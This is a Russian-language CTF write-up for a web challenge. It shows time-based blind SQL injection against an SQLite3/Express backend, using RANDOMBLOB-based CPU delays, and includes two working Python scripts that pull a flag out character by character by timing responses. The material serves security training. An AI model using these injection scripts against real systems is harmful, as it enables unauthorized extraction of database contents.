/Разборы задач
5 ноября 2026
Райтап на задачу «Слепая инъекция»
Пишем скрипт для слепой SQL-инъекции по ответам true/false и разбираем альтернативу с sqlmap.2
3

Web
Задача «Совсем слепая инъекция»
Откроем ссылку и посмотрим, что у нас тут есть. В отличие от предыдущего задания мы не получаем true/false, всё, что мы видим, — «I don’t know». Прочитаем исходники.
Исходники небольшие, но позволяют нам узнать главное — базу данных.
По наличию db.get и общему синтаксису понимаем, что это SQLite3 в Node.js (фреймворк Express). А, ну и ещё очевидно, что тут есть SQL injection:)
Как делается SQL-инъекция, когда мы даже не видим результата? Мы можем узнать по времени выполнения. Например в PostgreSQL можно реализовать следующую логику: «если буква == А, то сделай, пожалуйста, pg_sleep(5)». И так перебирать букву, пока не увидим задержку в ответе в ~5 секунд. Но у нас SQLite3 и там нет встроенной функции для сна как у MySQL и PostgreSQL. Что же делать?
На этот случай можно использовать встроенную функцию RANDOMBLOB() в SQLite. Когда условие сойдется, то можно заставить программу генерировать большое количество случайных байт, тем самым нагружая процессор и ответ придет заметно позже. Также можно увеличить нагрузку на ровном месте, связывая randomblob() с другими функциями. Гугл первым делом рекомендует UPPER(HEX(RANDOMBLOB(50000000))). Первый слой — 50 МБ случайных данных. Второй слой — функция hex() берет эти 50 МБ и конвертирует каждый байт в hex, тем самым он теперь занимает целых 2 символа. Теперь база данных обрабатывает 100 МБ. Третий слой — upper() делает каждый символ большим, что, если честно, не обязательно, hex и так возвращает по умолчанию uppercase-символы, это просто усилитель задержки.
Теперь, когда у нас есть вся необходимая теория для решения этой задачи, вооружаемся стабильным интернетом и пишем простенький скрипт.
import requests, time
URL = "https://full-blind-injection.t1.bug-makers.ru/check"
def query(c):
start = time.time()
requests.get(URL, params={"number": f"({c}) AND RANDOMBLOB(50000000)"})
return (time.time() - start) > 0.3
flag = ""
for i in range(1, 200):
# только printable ascii characters
for c in range(32, 127):
if query(f"(SELECT unicode(substr((SELECT flag FROM flag LIMIT 1),{i},1))={c})"):
flag += chr(c)
print(flag, flush=True)
break
else:
break
print(flag)
Этот скрипт перебирает все печатные ASCII-символы (от 32 до 127) в флаге, хорошо хоть в описании мы знаем, что нам нужен именно flag в таблице flag. Но если в тупую реализовать логику, что я описал прежде, то мы столкнёмся с суровой реальность. Сервер может сам по себе подвиснуть, может подскочить пинг или что-то такое. Для надёжности стоит делать на каждый запрос два замера и смотреть минимальное время, чтобы исключить ложные срабатывания и получить флаг в целостности. Значение 0.3 я захардкодил, чтобы не усложнять код замерами времени.
import requests, time
URL = "https://full-blind-injection.t1.bug-makers.ru/check"
def query(c):
t = []
for _ in range(2):
start = time.time()
requests.get(URL, params={"number": f"({c}) AND RANDOMBLOB(50000000)"})
t.append(time.time() - start)
return min(t) > 0.3
flag = ""
for i in range(1, 200):
# только printable ascii characters
for c in range(32, 127):
if query(f"(SELECT unicode(substr((SELECT flag FROM flag LIMIT 1),{i},1))={c})"):
flag += chr(c)
print(flag, flush=True)
break
else:
break
print(flag)
Теперь остаётся только запустить скрипт и получить флаг.
P.S. Скрипт можно оптимизировать с помощью бинарного поиска символа, реализацию пробуйте писать сами)